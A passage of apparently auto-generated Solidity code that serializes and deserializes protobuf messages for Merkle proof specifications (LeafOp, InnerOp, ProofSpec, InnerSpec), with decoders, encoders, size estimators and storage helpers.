* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @param r The in-memory struct
* @param counters The counters for repeated fields
* @return The number of bytes decoded
*/
function _read_hash(
uint256 p,
bytes memory bs,
Data memory r,
uint[6] memory counters
) internal pure returns (uint) {
/**
* if `r` is NULL, then only counting the number of fields.
*/
(int64 tmp, uint256 sz) = ProtoBufRuntime._decode_enum(p, bs);
PROOFS_PROTO_GLOBAL_ENUMS.HashOp x = PROOFS_PROTO_GLOBAL_ENUMS.decode_HashOp(tmp);
if (isNil(r)) {
counters[1] += 1;
} else {
r.hash = x;
if(counters[1] > 0) counters[1] -= 1;
}
return sz;
}
/**
* @dev The decoder for reading a field
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @param r The in-memory struct
* @param counters The counters for repeated fields
* @return The number of bytes decoded
*/
function _read_prehash_key(
uint256 p,
bytes memory bs,
Data memory r,
uint[6] memory counters
) internal pure returns (uint) {
/**
* if `r` is NULL, then only counting the number of fields.
*/
(int64 tmp, uint256 sz) = ProtoBufRuntime._decode_enum(p, bs);
PROOFS_PROTO_GLOBAL_ENUMS.HashOp x = PROOFS_PROTO_GLOBAL_ENUMS.decode_HashOp(tmp);
if (isNil(r)) {
counters[2] += 1;
} else {
r.prehash_key = x;
if(counters[2] > 0) counters[2] -= 1;
}
return sz;
}
/**
* @dev The decoder for reading a field
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @param r The in-memory struct
* @param counters The counters for repeated fields
* @return The number of bytes decoded
*/
function _read_prehash_value(
uint256 p,
bytes memory bs,
Data memory r,
uint[6] memory counters
) internal pure returns (uint) {
/**
* if `r` is NULL, then only counting the number of fields.
*/
(int64 tmp, uint256 sz) = ProtoBufRuntime._decode_enum(p, bs);
PROOFS_PROTO_GLOBAL_ENUMS.HashOp x = PROOFS_PROTO_GLOBAL_ENUMS.decode_HashOp(tmp);
if (isNil(r)) {
counters[3] += 1;
} else {
r.prehash_value = x;
if(counters[3] > 0) counters[3] -= 1;
}
return sz;
}
/**
* @dev The decoder for reading a field
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @param r The in-memory struct
* @param counters The counters for repeated fields
* @return The number of bytes decoded
*/
function _read_length(
uint256 p,
bytes memory bs,
Data memory r,
uint[6] memory counters
) internal pure returns (uint) {
/**
* if `r` is NULL, then only counting the number of fields.
*/
(int64 tmp, uint256 sz) = ProtoBufRuntime._decode_enum(p, bs);
PROOFS_PROTO_GLOBAL_ENUMS.LengthOp x = PROOFS_PROTO_GLOBAL_ENUMS.decode_LengthOp(tmp);
if (isNil(r)) {
counters[4] += 1;
} else {
r.length = x;
if(counters[4] > 0) counters[4] -= 1;
}
return sz;
}
/**
* @dev The decoder for reading a field
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @param r The in-memory struct
* @param counters The counters for repeated fields
* @return The number of bytes decoded
*/
function _read_prefix(
uint256 p,
bytes memory bs,
Data memory r,
uint[6] memory counters
) internal pure returns (uint) {
/**
* if `r` is NULL, then only counting the number of fields.
*/
(bytes memory x, uint256 sz) = ProtoBufRuntime._decode_bytes(p, bs);
if (isNil(r)) {
counters[5] += 1;
} else {
r.prefix = x;
if (counters[5] > 0) counters[5] -= 1;
}
return sz;
}
// Encoder section
/**
* @dev The main encoder for memory
* @param r The struct to be encoded
* @return The encoded byte array
*/
function encode(Data memory r) internal pure returns (bytes memory) {
bytes memory bs = new bytes(_estimate(r));
uint256 sz = _encode(r, 32, bs);
assembly {
mstore(bs, sz)
}
return bs;
}
// inner encoder
/**
* @dev The encoder for internal usage
* @param r The struct to be encoded
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @return The number of bytes encoded
*/
function _encode(Data memory r, uint256 p, bytes memory bs)
internal
pure
returns (uint)
{
uint256 offset = p;
uint256 pointer = p;
if (uint(r.hash) != 0) {
pointer += ProtoBufRuntime._encode_key(
1,
ProtoBufRuntime.WireType.Varint,
pointer,
bs
);
int32 _enum_hash = PROOFS_PROTO_GLOBAL_ENUMS.encode_HashOp(r.hash);
pointer += ProtoBufRuntime._encode_enum(_enum_hash, pointer, bs);
}
if (uint(r.prehash_key) != 0) {
pointer += ProtoBufRuntime._encode_key(
2,
ProtoBufRuntime.WireType.Varint,
pointer,
bs
);
int32 _enum_prehash_key = PROOFS_PROTO_GLOBAL_ENUMS.encode_HashOp(r.prehash_key);
pointer += ProtoBufRuntime._encode_enum(_enum_prehash_key, pointer, bs);
}
if (uint(r.prehash_value) != 0) {
pointer += ProtoBufRuntime._encode_key(
3,
ProtoBufRuntime.WireType.Varint,
pointer,
bs
);
int32 _enum_prehash_value = PROOFS_PROTO_GLOBAL_ENUMS.encode_HashOp(r.prehash_value);
pointer += ProtoBufRuntime._encode_enum(_enum_prehash_value, pointer, bs);
}
if (uint(r.length) != 0) {
pointer += ProtoBufRuntime._encode_key(
4,
ProtoBufRuntime.WireType.Varint,
pointer,
bs
);
int32 _enum_length = PROOFS_PROTO_GLOBAL_ENUMS.encode_LengthOp(r.length);
pointer += ProtoBufRuntime._encode_enum(_enum_length, pointer, bs);
}
if (r.prefix.length != 0) {
pointer += ProtoBufRuntime._encode_key(
5,
ProtoBufRuntime.WireType.LengthDelim,
pointer,
bs
);
pointer += ProtoBufRuntime._encode_bytes(r.prefix, pointer, bs);
}
return pointer - offset;
}
// nested encoder
/**
* @dev The encoder for inner struct
* @param r The struct to be encoded
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @return The number of bytes encoded
*/
function _encode_nested(Data memory r, uint256 p, bytes memory bs)
internal
pure
returns (uint)
{
/**
* First encoded `r` into a temporary array, and encode the actual size used.
* Then copy the temporary array into `bs`.
*/
uint256 offset = p;
uint256 pointer = p;
bytes memory tmp = new bytes(_estimate(r));
uint256 tmpAddr = ProtoBufRuntime.getMemoryAddress(tmp);
uint256 bsAddr = ProtoBufRuntime.getMemoryAddress(bs);
uint256 size = _encode(r, 32, tmp);
pointer += ProtoBufRuntime._encode_varint(size, pointer, bs);
ProtoBufRuntime.copyBytes(tmpAddr + 32, bsAddr + pointer, size);
pointer += size;
delete tmp;
return pointer - offset;
}
// estimator
/**
* @dev The estimator for a struct
* @param r The struct to be encoded
* @return The number of bytes encoded in estimation
*/
function _estimate(
Data memory r
) internal pure returns (uint) {
uint256 e;
e += 1 + ProtoBufRuntime._sz_enum(PROOFS_PROTO_GLOBAL_ENUMS.encode_HashOp(r.hash));
e += 1 + ProtoBufRuntime._sz_enum(PROOFS_PROTO_GLOBAL_ENUMS.encode_HashOp(r.prehash_key));
e += 1 + ProtoBufRuntime._sz_enum(PROOFS_PROTO_GLOBAL_ENUMS.encode_HashOp(r.prehash_value));
e += 1 + ProtoBufRuntime._sz_enum(PROOFS_PROTO_GLOBAL_ENUMS.encode_LengthOp(r.length));
e += 1 + ProtoBufRuntime._sz_lendelim(r.prefix.length);
return e;
}
// empty checker
function _empty(
Data memory r
) internal pure returns (bool) {
if (uint(r.hash) != 0) {
return false;
}
if (uint(r.prehash_key) != 0) {
return false;
}
if (uint(r.prehash_value) != 0) {
return false;
}
if (uint(r.length) != 0) {
return false;
}
if (r.prefix.length != 0) {
return false;
}
return true;
}
//store function
/**
* @dev Store in-memory struct to storage
* @param input The in-memory struct
* @param output The in-storage struct
*/
function store(Data memory input, Data storage output) internal {
output.hash = input.hash;
output.prehash_key = input.prehash_key;
output.prehash_value = input.prehash_value;
output.length = input.length;
output.prefix = input.prefix;
}
//utility functions
/**
* @dev Return an empty struct
* @return r The empty struct
*/
function nil() internal pure returns (Data memory r) {
assembly {
r := 0
}
}
/**
* @dev Test whether a struct is empty
* @param x The struct to be tested
* @return r True if it is empty
*/
function isNil(Data memory x) internal pure returns (bool r) {
assembly {
r := iszero(x)
}
}
}
//library LeafOp
library InnerOp {
//struct definition
struct Data {
PROOFS_PROTO_GLOBAL_ENUMS.HashOp hash;
bytes prefix;
bytes suffix;
}
// Decoder section
/**
* @dev The main decoder for memory
* @param bs The bytes array to be decoded
* @return The decoded struct
*/
function decode(bytes memory bs) internal pure returns (Data memory) {
(Data memory x, ) = _decode(32, bs, bs.length);
return x;
}
/**
* @dev The main decoder for storage
* @param self The in-storage struct
* @param bs The bytes array to be decoded
*/
function decode(Data storage self, bytes memory bs) internal {
(Data memory x, ) = _decode(32, bs, bs.length);
store(x, self);
}
// inner decoder
/**
* @dev The decoder for internal usage
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @param sz The number of bytes expected
* @return The decoded struct
* @return The number of bytes decoded
*/
function _decode(uint256 p, bytes memory bs, uint256 sz)
internal
pure
returns (Data memory, uint)
{
Data memory r;
uint[4] memory counters;
uint256 fieldId;
ProtoBufRuntime.WireType wireType;
uint256 bytesRead;
uint256 offset = p;
uint256 pointer = p;
while (pointer < offset + sz) {
(fieldId, wireType, bytesRead) = ProtoBufRuntime._decode_key(pointer, bs);
pointer += bytesRead;
if (fieldId == 1) {
pointer += _read_hash(pointer, bs, r, counters);
}
else if (fieldId == 2) {
pointer += _read_prefix(pointer, bs, r, counters);
}
else if (fieldId == 3) {
pointer += _read_suffix(pointer, bs, r, counters);
}
else {
if (wireType == ProtoBufRuntime.WireType.Fixed64) {
uint256 size;
(, size) = ProtoBufRuntime._decode_fixed64(pointer, bs);
pointer += size;
}
if (wireType == ProtoBufRuntime.WireType.Fixed32) {
uint256 size;
(, size) = ProtoBufRuntime._decode_fixed32(pointer, bs);
pointer += size;
}
if (wireType == ProtoBufRuntime.WireType.Varint) {
uint256 size;
(, size) = ProtoBufRuntime._decode_varint(pointer, bs);
pointer += size;
}
if (wireType == ProtoBufRuntime.WireType.LengthDelim) {
uint256 size;
(, size) = ProtoBufRuntime._decode_lendelim(pointer, bs);
pointer += size;
}
}
}
return (r, sz);
}
// field readers
/**
* @dev The decoder for reading a field
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @param r The in-memory struct
* @param counters The counters for repeated fields
* @return The number of bytes decoded
*/
function _read_hash(
uint256 p,
bytes memory bs,
Data memory r,
uint[4] memory counters
) internal pure returns (uint) {
/**
* if `r` is NULL, then only counting the number of fields.
*/
(int64 tmp, uint256 sz) = ProtoBufRuntime._decode_enum(p, bs);
PROOFS_PROTO_GLOBAL_ENUMS.HashOp x = PROOFS_PROTO_GLOBAL_ENUMS.decode_HashOp(tmp);
if (isNil(r)) {
counters[1] += 1;
} else {
r.hash = x;
if(counters[1] > 0) counters[1] -= 1;
}
return sz;
}
/**
* @dev The decoder for reading a field
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @param r The in-memory struct
* @param counters The counters for repeated fields
* @return The number of bytes decoded
*/
function _read_prefix(
uint256 p,
bytes memory bs,
Data memory r,
uint[4] memory counters
) internal pure returns (uint) {
/**
* if `r` is NULL, then only counting the number of fields.
*/
(bytes memory x, uint256 sz) = ProtoBufRuntime._decode_bytes(p, bs);
if (isNil(r)) {
counters[2] += 1;
} else {
r.prefix = x;
if (counters[2] > 0) counters[2] -= 1;
}
return sz;
}
/**
* @dev The decoder for reading a field
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @param r The in-memory struct
* @param counters The counters for repeated fields
* @return The number of bytes decoded
*/
function _read_suffix(
uint256 p,
bytes memory bs,
Data memory r,
uint[4] memory counters
) internal pure returns (uint) {
/**
* if `r` is NULL, then only counting the number of fields.
*/
(bytes memory x, uint256 sz) = ProtoBufRuntime._decode_bytes(p, bs);
if (isNil(r)) {
counters[3] += 1;
} else {
r.suffix = x;
if (counters[3] > 0) counters[3] -= 1;
}
return sz;
}
// Encoder section
/**
* @dev The main encoder for memory
* @param r The struct to be encoded
* @return The encoded byte array
*/
function encode(Data memory r) internal pure returns (bytes memory) {
bytes memory bs = new bytes(_estimate(r));
uint256 sz = _encode(r, 32, bs);
assembly {
mstore(bs, sz)
}
return bs;
}
// inner encoder
/**
* @dev The encoder for internal usage
* @param r The struct to be encoded
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @return The number of bytes encoded
*/
function _encode(Data memory r, uint256 p, bytes memory bs)
internal
pure
returns (uint)
{
uint256 offset = p;
uint256 pointer = p;
if (uint(r.hash) != 0) {
pointer += ProtoBufRuntime._encode_key(
1,
ProtoBufRuntime.WireType.Varint,
pointer,
bs
);
int32 _enum_hash = PROOFS_PROTO_GLOBAL_ENUMS.encode_HashOp(r.hash);
pointer += ProtoBufRuntime._encode_enum(_enum_hash, pointer, bs);
}
if (r.prefix.length != 0) {
pointer += ProtoBufRuntime._encode_key(
2,
ProtoBufRuntime.WireType.LengthDelim,
pointer,
bs
);
pointer += ProtoBufRuntime._encode_bytes(r.prefix, pointer, bs);
}
if (r.suffix.length != 0) {
pointer += ProtoBufRuntime._encode_key(
3,
ProtoBufRuntime.WireType.LengthDelim,
pointer,
bs
);
pointer += ProtoBufRuntime._encode_bytes(r.suffix, pointer, bs);
}
return pointer - offset;
}
// nested encoder
/**
* @dev The encoder for inner struct
* @param r The struct to be encoded
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @return The number of bytes encoded
*/
function _encode_nested(Data memory r, uint256 p, bytes memory bs)
internal
pure
returns (uint)
{
/**
* First encoded `r` into a temporary array, and encode the actual size used.
* Then copy the temporary array into `bs`.
*/
uint256 offset = p;
uint256 pointer = p;
bytes memory tmp = new bytes(_estimate(r));
uint256 tmpAddr = ProtoBufRuntime.getMemoryAddress(tmp);
uint256 bsAddr = ProtoBufRuntime.getMemoryAddress(bs);
uint256 size = _encode(r, 32, tmp);
pointer += ProtoBufRuntime._encode_varint(size, pointer, bs);
ProtoBufRuntime.copyBytes(tmpAddr + 32, bsAddr + pointer, size);
pointer += size;
delete tmp;
return pointer - offset;
}
// estimator
/**
* @dev The estimator for a struct
* @param r The struct to be encoded
* @return The number of bytes encoded in estimation
*/
function _estimate(
Data memory r
) internal pure returns (uint) {
uint256 e;
e += 1 + ProtoBufRuntime._sz_enum(PROOFS_PROTO_GLOBAL_ENUMS.encode_HashOp(r.hash));
e += 1 + ProtoBufRuntime._sz_lendelim(r.prefix.length);
e += 1 + ProtoBufRuntime._sz_lendelim(r.suffix.length);
return e;
}
// empty checker
function _empty(
Data memory r
) internal pure returns (bool) {
if (uint(r.hash) != 0) {
return false;
}
if (r.prefix.length != 0) {
return false;
}
if (r.suffix.length != 0) {
return false;
}
return true;
}
//store function
/**
* @dev Store in-memory struct to storage
* @param input The in-memory struct
* @param output The in-storage struct
*/
function store(Data memory input, Data storage output) internal {
output.hash = input.hash;
output.prefix = input.prefix;
output.suffix = input.suffix;
}
//utility functions
/**
* @dev Return an empty struct
* @return r The empty struct
*/
function nil() internal pure returns (Data memory r) {
assembly {
r := 0
}
}
/**
* @dev Test whether a struct is empty
* @param x The struct to be tested
* @return r True if it is empty
*/
function isNil(Data memory x) internal pure returns (bool r) {
assembly {
r := iszero(x)
}
}
}
//library InnerOp
library ProofSpec {
//struct definition
struct Data {
LeafOp.Data leaf_spec;
InnerSpec.Data inner_spec;
int32 max_depth;
int32 min_depth;
}
// Decoder section
/**
* @dev The main decoder for memory
* @param bs The bytes array to be decoded
* @return The decoded struct
*/
function decode(bytes memory bs) internal pure returns (Data memory) {
(Data memory x, ) = _decode(32, bs, bs.length);
return x;
}
/**
* @dev The main decoder for storage
* @param self The in-storage struct
* @param bs The bytes array to be decoded
*/
function decode(Data storage self, bytes memory bs) internal {
(Data memory x, ) = _decode(32, bs, bs.length);
store(x, self);
}
// inner decoder
/**
* @dev The decoder for internal usage
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @param sz The number of bytes expected
* @return The decoded struct
* @return The number of bytes decoded
*/
function _decode(uint256 p, bytes memory bs, uint256 sz)
internal
pure
returns (Data memory, uint)
{
Data memory r;
uint[5] memory counters;
uint256 fieldId;
ProtoBufRuntime.WireType wireType;
uint256 bytesRead;
uint256 offset = p;
uint256 pointer = p;
while (pointer < offset + sz) {
(fieldId, wireType, bytesRead) = ProtoBufRuntime._decode_key(pointer, bs);
pointer += bytesRead;
if (fieldId == 1) {
pointer += _read_leaf_spec(pointer, bs, r, counters);
}
else if (fieldId == 2) {
pointer += _read_inner_spec(pointer, bs, r, counters);
}
else if (fieldId == 3) {
pointer += _read_max_depth(pointer, bs, r, counters);
}
else if (fieldId == 4) {
pointer += _read_min_depth(pointer, bs, r, counters);
}
else {
if (wireType == ProtoBufRuntime.WireType.Fixed64) {
uint256 size;
(, size) = ProtoBufRuntime._decode_fixed64(pointer, bs);
pointer += size;
}
if (wireType == ProtoBufRuntime.WireType.Fixed32) {
uint256 size;
(, size) = ProtoBufRuntime._decode_fixed32(pointer, bs);
pointer += size;
}
if (wireType == ProtoBufRuntime.WireType.Varint) {
uint256 size;
(, size) = ProtoBufRuntime._decode_varint(pointer, bs);
pointer += size;
}
if (wireType == ProtoBufRuntime.WireType.LengthDelim) {
uint256 size;
(, size) = ProtoBufRuntime._decode_lendelim(pointer, bs);
pointer += size;
}
}
}
return (r, sz);
}
// field readers
/**
* @dev The decoder for reading a field
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @param r The in-memory struct
* @param counters The counters for repeated fields
* @return The number of bytes decoded
*/
function _read_leaf_spec(
uint256 p,
bytes memory bs,
Data memory r,
uint[5] memory counters
) internal pure returns (uint) {
/**
* if `r` is NULL, then only counting the number of fields.
*/
(LeafOp.Data memory x, uint256 sz) = _decode_LeafOp(p, bs);
if (isNil(r)) {
counters[1] += 1;
} else {
r.leaf_spec = x;
if (counters[1] > 0) counters[1] -= 1;
}
return sz;
}
/**
* @dev The decoder for reading a field
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @param r The in-memory struct
* @param counters The counters for repeated fields
* @return The number of bytes decoded
*/
function _read_inner_spec(
uint256 p,
bytes memory bs,
Data memory r,
uint[5] memory counters
) internal pure returns (uint) {
/**
* if `r` is NULL, then only counting the number of fields.
*/
(InnerSpec.Data memory x, uint256 sz) = _decode_InnerSpec(p, bs);
if (isNil(r)) {
counters[2] += 1;
} else {
r.inner_spec = x;
if (counters[2] > 0) counters[2] -= 1;
}
return sz;
}
/**
* @dev The decoder for reading a field
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @param r The in-memory struct
* @param counters The counters for repeated fields
* @return The number of bytes decoded
*/
function _read_max_depth(
uint256 p,
bytes memory bs,
Data memory r,
uint[5] memory counters
) internal pure returns (uint) {
/**
* if `r` is NULL, then only counting the number of fields.
*/
(int32 x, uint256 sz) = ProtoBufRuntime._decode_int32(p, bs);
if (isNil(r)) {
counters[3] += 1;
} else {
r.max_depth = x;
if (counters[3] > 0) counters[3] -= 1;
}
return sz;
}
/**
* @dev The decoder for reading a field
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @param r The in-memory struct
* @param counters The counters for repeated fields
* @return The number of bytes decoded
*/
function _read_min_depth(
uint256 p,
bytes memory bs,
Data memory r,
uint[5] memory counters
) internal pure returns (uint) {
/**
* if `r` is NULL, then only counting the number of fields.
*/
(int32 x, uint256 sz) = ProtoBufRuntime._decode_int32(p, bs);
if (isNil(r)) {
counters[4] += 1;
} else {
r.min_depth = x;
if (counters[4] > 0) counters[4] -= 1;
}
return sz;
}
// struct decoder
/**
* @dev The decoder for reading a inner struct field
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @return The decoded inner-struct
* @return The number of bytes used to decode
*/
function _decode_LeafOp(uint256 p, bytes memory bs)
internal
pure
returns (LeafOp.Data memory, uint)
{
uint256 pointer = p;
(uint256 sz, uint256 bytesRead) = ProtoBufRuntime._decode_varint(pointer, bs);
pointer += bytesRead;
(LeafOp.Data memory r, ) = LeafOp._decode(pointer, bs, sz);
return (r, sz + bytesRead);
}
/**
* @dev The decoder for reading a inner struct field
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @return The decoded inner-struct
* @return The number of bytes used to decode
*/
function _decode_InnerSpec(uint256 p, bytes memory bs)
internal
pure
returns (InnerSpec.Data memory, uint)
{
uint256 pointer = p;
(uint256 sz, uint256 bytesRead) = ProtoBufRuntime._decode_varint(pointer, bs);
pointer += bytesRead;
(InnerSpec.Data memory r, ) = InnerSpec._decode(pointer, bs, sz);
return (r, sz + bytesRead);
}
// Encoder section
/**
* @dev The main encoder for memory
* @param r The struct to be encoded
* @return The encoded byte array
*/
function encode(Data memory r) internal pure returns (bytes memory) {
bytes memory bs = new bytes(_estimate(r));
uint256 sz = _encode(r, 32, bs);
assembly {
mstore(bs, sz)
}
return bs;
}
// inner encoder
/**
* @dev The encoder for internal usage
* @param r The struct to be encoded
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @return The number of bytes encoded
*/
function _encode(Data memory r, uint256 p, bytes memory bs)
internal
pure
returns (uint)
{
uint256 offset = p;
uint256 pointer = p;
pointer += ProtoBufRuntime._encode_key(
1,
ProtoBufRuntime.WireType.LengthDelim,
pointer,
bs
);
pointer += LeafOp._encode_nested(r.leaf_spec, pointer, bs);
pointer += ProtoBufRuntime._encode_key(
2,
ProtoBufRuntime.WireType.LengthDelim,
pointer,
bs
);
pointer += InnerSpec._encode_nested(r.inner_spec, pointer, bs);
if (r.max_depth != 0) {
pointer += ProtoBufRuntime._encode_key(
3,
ProtoBufRuntime.WireType.Varint,
pointer,
bs
);
pointer += ProtoBufRuntime._encode_int32(r.max_depth, pointer, bs);
}
if (r.min_depth != 0) {
pointer += ProtoBufRuntime._encode_key(
4,
ProtoBufRuntime.WireType.Varint,
pointer,
bs
);
pointer += ProtoBufRuntime._encode_int32(r.min_depth, pointer, bs);
}
return pointer - offset;
}
// nested encoder
/**
* @dev The encoder for inner struct
* @param r The struct to be encoded
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @return The number of bytes encoded
*/
function _encode_nested(Data memory r, uint256 p, bytes memory bs)
internal
pure
returns (uint)
{
/**
* First encoded `r` into a temporary array, and encode the actual size used.
* Then copy the temporary array into `bs`.
*/
uint256 offset = p;
uint256 pointer = p;
bytes memory tmp = new bytes(_estimate(r));
uint256 tmpAddr = ProtoBufRuntime.getMemoryAddress(tmp);
uint256 bsAddr = ProtoBufRuntime.getMemoryAddress(bs);
uint256 size = _encode(r, 32, tmp);
pointer += ProtoBufRuntime._encode_varint(size, pointer, bs);
ProtoBufRuntime.copyBytes(tmpAddr + 32, bsAddr + pointer, size);
pointer += size;
delete tmp;
return pointer - offset;
}
// estimator
/**
* @dev The estimator for a struct
* @param r The struct to be encoded
* @return The number of bytes encoded in estimation
*/
function _estimate(
Data memory r
) internal pure returns (uint) {
uint256 e;
e += 1 + ProtoBufRuntime._sz_lendelim(LeafOp._estimate(r.leaf_spec));
e += 1 + ProtoBufRuntime._sz_lendelim(InnerSpec._estimate(r.inner_spec));
e += 1 + ProtoBufRuntime._sz_int32(r.max_depth);
e += 1 + ProtoBufRuntime._sz_int32(r.min_depth);
return e;
}
// empty checker
function _empty(
Data memory r
) internal pure returns (bool) {
if (r.max_depth != 0) {
return false;
}
if (r.min_depth != 0) {
return false;
}
return true;
}
//store function
/**
* @dev Store in-memory struct to storage
* @param input The in-memory struct
* @param output The in-storage struct
*/
function store(Data memory input, Data storage output) internal {
LeafOp.store(input.leaf_spec, output.leaf_spec);
InnerSpec.store(input.inner_spec, output.inner_spec);
output.max_depth = input.max_depth;
output.min_depth = input.min_depth;
}
//utility functions
/**
* @dev Return an empty struct
* @return r The empty struct
*/
function nil() internal pure returns (Data memory r) {
assembly {
r := 0
}
}
/**
* @dev Test whether a struct is empty
* @param x The struct to be tested
* @return r True if it is empty
*/
function isNil(Data memory x) internal pure returns (bool r) {
assembly {
r := iszero(x)
}
}
}
//library ProofSpec
library InnerSpec {
//struct definition
struct Data {
int32[] child_order;
int32 child_size;
int32 min_prefix_length;
int32 max_prefix_length;
bytes empty_child;
PROOFS_PROTO_GLOBAL_ENUMS.HashOp hash;
}
// Decoder section
/**
* @dev The main decoder for memory
* @param bs The bytes array to be decoded
* @return The decoded struct
*/
function decode(bytes memory bs) internal pure returns (Data memory) {
(Data memory x, ) = _decode(32, bs, bs.length);
return x;
}
/**
* @dev The main decoder for storage
* @param self The in-storage struct
* @param bs The bytes array to be decoded
*/
function decode(Data storage self, bytes memory bs) internal {
(Data memory x, ) = _decode(32, bs, bs.length);
store(x, self);
}
// inner decoder
/**
* @dev The decoder for internal usage
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @param sz The number of bytes expected
* @return The decoded struct
* @return The number of bytes decoded
*/
function _decode(uint256 p, bytes memory bs, uint256 sz)
internal
pure
returns (Data memory, uint)
{
Data memory r;
uint[7] memory counters;
uint256 fieldId;
ProtoBufRuntime.WireType wireType;
uint256 bytesRead;
uint256 offset = p;
uint256 pointer = p;
while (pointer < offset + sz) {
(fieldId, wireType, bytesRead) = ProtoBufRuntime._decode_key(pointer, bs);
pointer += bytesRead;
if (fieldId == 1) {
pointer += _read_child_order(pointer, bs, nil(), counters);
}
else if (fieldId == 2) {
pointer += _read_child_size(pointer, bs, r, counters);
}
else if (fieldId == 3) {
pointer += _read_min_prefix_length(pointer, bs, r, counters);
}
else if (fieldId == 4) {
pointer += _read_max_prefix_length(pointer, bs, r, counters);
}
else if (fieldId == 5) {
pointer += _read_empty_child(pointer, bs, r, counters);
}
else if (fieldId == 6) {
pointer += _read_hash(pointer, bs, r, counters);
}
else {
if (wireType == ProtoBufRuntime.WireType.Fixed64) {
uint256 size;
(, size) = ProtoBufRuntime._decode_fixed64(pointer, bs);
pointer += size;
}
if (wireType == ProtoBufRuntime.WireType.Fixed32) {
uint256 size;
(, size) = ProtoBufRuntime._decode_fixed32(pointer, bs);
pointer += size;
}
if (wireType == ProtoBufRuntime.WireType.Varint) {
uint256 size;
(, size) = ProtoBufRuntime._decode_varint(pointer, bs);
pointer += size;
}
if (wireType == ProtoBufRuntime.WireType.LengthDelim) {
uint256 size;
(, size) = ProtoBufRuntime._decode_lendelim(pointer, bs);
pointer += size;
}
}
}
pointer = offset;
r.child_order = new int32[](counters[1]);
while (pointer < offset + sz) {
(fieldId, wireType, bytesRead) = ProtoBufRuntime._decode_key(pointer, bs);
pointer += bytesRead;
if (fieldId == 1) {
pointer += _read_child_order(pointer, bs, r, counters);
}
else if (fieldId == 2) {
pointer += _read_child_size(pointer, bs, nil(), counters);
}
else if (fieldId == 3) {
pointer += _read_min_prefix_length(pointer, bs, nil(), counters);
}
else if (fieldId == 4) {
pointer += _read_max_prefix_length(pointer, bs, nil(), counters);
}
else if (fieldId == 5) {
pointer += _read_empty_child(pointer, bs, nil(), counters);
}
else if (fieldId == 6) {
pointer += _read_hash(pointer, bs, nil(), counters);
}
else {
if (wireType == ProtoBufRuntime.WireType.Fixed64) {
uint256 size;
(, size) = ProtoBufRuntime._decode_fixed64(pointer, bs);
pointer += size;
}
if (wireType == ProtoBufRuntime.WireType.Fixed32) {
uint256 size;
(, size) = ProtoBufRuntime._decode_fixed32(pointer, bs);
pointer += size;
}
if (wireType == ProtoBufRuntime.WireType.Varint) {
uint256 size;
(, size) = ProtoBufRuntime._decode_varint(pointer, bs);
pointer += size;
}
if (wireType == ProtoBufRuntime.WireType.LengthDelim) {
uint256 size;
(, size) = ProtoBufRuntime._decode_lendelim(pointer, bs);
pointer += size;
}
}
}
return (r, sz);
}
// field readers
/**
* @dev The decoder for reading a field
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @param r The in-memory struct
* @param counters The counters for repeated fields
* @return The number of bytes decoded
*/
function _read_child_order(
uint256 p,
bytes memory bs,
Data memory r,
uint[7] memory counters
) internal pure returns (uint) {
/**
* if `r` is NULL, then only counting the number of fields.
*/
(int32 x, uint256 sz) = ProtoBufRuntime._decode_int32(p, bs);
if (isNil(r)) {
counters[1] += 1;
} else {
r.child_order[r.child_order.length - counters[1]] = x;
if (counters[1] > 0) counters[1] -= 1;
}
return sz;
}
/**
* @dev The decoder for reading a field
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @param r The in-memory struct
* @param counters The counters for repeated fields
* @return The number of bytes decoded
*/
function _read_child_size(
uint256 p,
bytes memory bs,
Data memory r,
uint[7] memory counters
) internal pure returns (uint) {
/**
* if `r` is NULL, then only counting the number of fields.
*/
(int32 x, uint256 sz) = ProtoBufRuntime._decode_int32(p, bs);
if (isNil(r)) {
counters[2] += 1;
} else {
r.child_size = x;
if (counters[2] > 0) counters[2] -= 1;
}
return sz;
}
/**
* @dev The decoder for reading a field
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @param r The in-memory struct
* @param counters The counters for repeated fields
* @return The number of bytes decoded
*/
function _read_min_prefix_length(
uint256 p,
bytes memory bs,
Data memory r,
uint[7] memory counters
) internal pure returns (uint) {
/**
* if `r` is NULL, then only counting the number of fields.
*/
(int32 x, uint256 sz) = ProtoBufRuntime._decode_int32(p, bs);
if (isNil(r)) {
counters[3] += 1;
} else {
r.min_prefix_length = x;
if (counters[3] > 0) counters[3] -= 1;
}
return sz;
}
/**
* @dev The decoder for reading a field
* @param p The offset of bytes array to start decode
* @param bs The bytes array to be decoded
* @param r The in-memory struct
* @param counters The counters for repeated fields
* @return The number of bytes decoded
*/
function _read_max_prefix_length(
uint256 p,
bytes memory bs,
Data memory r,
uint[7] memory counters
) internal pure returns (uint) {
/**
* if `r` is NULL, then only counting the number of fields.
*/
(int32 x, uint256 sz) = ProtoBufRuntime._decode_int32(p, bs);
if (isNil(r)) {
counters[4] += 1;
} else {
r.max_prefix_length = x;
if (counters[4] > 0) counters[4] -= 1;
}
return sz;
}
/**
* @dev The decoder for reading a field
* @param p The offset of bytes array to start decode
